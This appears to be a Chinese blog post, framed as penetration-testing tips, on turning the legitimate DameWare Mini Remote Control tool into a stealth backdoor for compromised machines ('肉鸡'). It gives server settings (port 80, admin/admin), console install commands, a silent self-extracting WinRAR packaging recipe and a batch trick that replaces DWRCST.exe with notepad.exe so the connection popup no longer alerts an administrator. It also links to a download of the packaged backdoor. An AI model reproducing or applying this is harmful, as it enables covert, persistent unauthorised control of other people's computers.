利用白文件打造超级渗透测试后门程序的思路分享之二

DameWare软件是远控中的功能最多的一个,主要通过SMB协议进行远程控制,使
 
 
用445端口通信。DameWare自带一个桌面访问插件,使用6129端口通信,并且可
 
以从DameWare中分离,单独使用。如图1所示。
 
图1 目录列表
 
  这个插件分为客户端和服务端,采用TCP协议,C/S模式通信,工作示意图如图2所示。
图2 工作图
  要进行木马控制,就要生成服务端,双击[DWRCSMSI.exe],如图3所示。
图3
  在图3中点击[View Settings],开始配置服务端,配置服务端的监听端口和其它选项。

 

配置选项
设置
监听端口
80
是否在系统托盘中显示
是否在连接时显示通知消息
设置登录账号密码
admin/admin

 

详细配置图如图4,图5,图6。
 
图4设置登录账号密码,监听端口
图5是否在系统托盘中显示
 
图6是否在连接时显示通知消息
现在点击图3中的[Build MSI]按钮,生成一个服务端DWRCSVista32.MSI。服务端格式不是EXE,而是MSI。如图9所示。
图9 木马服务端
  服务端生成后,将其上传到肉鸡,因为服务端安装需要GUI界面,所以建议在3389中安装,这里把服务端上传到windows 10系统中,双击[DWRCSVista32.MSI],如下图10所示。
图10
单击(Next),完成安装。如图11,图12,图13。
图11
图12 安装过程
图13 成功安装
在本机运行Remote Control Mini或执行图1中的”DWRCC.exe”,输入IP地址和端口,登录用户名和密码,如图14所示。
图14 配置信息
单击[Connect]按钮,成功连接服务器,如图15所示。
 
图15 连接成功
  按照上述的方法,虽然成功了,但是如果肉鸡上没有GUI怎么办,只能使用控制台安装了,DameWare原版本不具备Console安装功能,随便用7z打开DWRCSVista32.MSI文件,发现有几个文件在里面躺着,如图16所示,再打开已安装到肉鸡上的文件目录,如图17所示。
图16 7z压缩包
图17 服务端文件
里面的文件差不多,只是缺少DWRCSh32.dlx文件,看来木马安装也不过是将DWRCS.exe注册为系统服务,然后木马便永驻系统了。
分析DWRCS.exe,如图18所示。
 
图18 功能列表
[-install]表示安装服务,所以执行命令
DWRCS.exe -install
net start "DameWare Mini Remote Control"
即可成功将DameWare安装到系统中,可将此命令存储为install.bat文件,端口设置和密码则通过dwrcs.ini设置。
  打开c:\windows\syswow64\dwrcs.ini文件,1表示端口, 2表示用户和密码,如图19所示。
 
图19 配置文件
  将8个文件打包为EXE,NSIS也可,WinRAR也可,我这里就用WinRAR了。

 

文件
功能说明
dwrcs.ini
主配置文件
DWRCK.dll
DLL功能文件
DWRCS.exe
远控主文件
DWRCSET.dll
DLL功能文件
DWRCSh64.dlx
DLL功能文件
DWRCSh32.dlx
DLL功能文件
DWRCSI.dll
DLL功能文件
DWRCST.exe
弹出窗口文件
install.bat
安装文件

 

打包流程图如图20所示。
 
安装路径
隐藏窗口运行
已存在则跳过文件
解压后运行文件install.bat
图20
图21打包文件名dwrcs_install.exe
DWRCS_Install.exe创建后,使用Windows 10 x64来测试,如图22所示。
图22 连接设置
  成功控制后,在被控端的右下角有一个弹出窗口,如果有管理员在电脑前的话,就会暴露出有黑客攻击的迹象,怎么消除这个弹窗呢?我考虑了几种办法。
1.       弹窗使用了API Shell_NotifyIcon和DialogParam,通过修改汇编指令,将其改为NOP指令即可,调用后保存堆栈平衡和寄存器状态不变。
2.       通过DLL注入技术,对窗口进行关闭和消除托盘图标。
3.       通过DLL劫持技术,对USP10.dll进行劫持,对窗口进行关闭和消除托盘图标。
4.       弹窗依赖于进程DWRCST.exe,将其删除,会提示缺少Agent文件,将其替换即可,系统就不会提示缺少Agent文件,这里替换为Notepad.exe。
综上所述,对每个办法详细测试,最后选择第4个办法,只需一条copy命令就可以了。
cmd /c copy notepad.exe DWRCST.exe /y
  将这条命令整合至WinRAR打包文件install.bat中。如图23,图24所示。
图23 连接配置
图24 服务器右下角不弹窗口了
完整的打包文件在这里下载:http://www.isafe.cc/article.asp?id=79
下载地址:
http://www.isafe.cc/soft/DWRCS_install.exe

[本日志由 admin 于 2018-10-07 04:25 PM 编辑]
文章来自: 本站原创
引用通告: 查看所有引用 | 我要引用此文章
Tags:
评论: 0 | 引用: 0 | 查看次数: 137
发表评论
昵 称:
密 码: 游客发言不需要密码.
验证码: 验证码
内 容:
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.
字数限制 1000 字 | UBB代码 开启 | [img]标签 关闭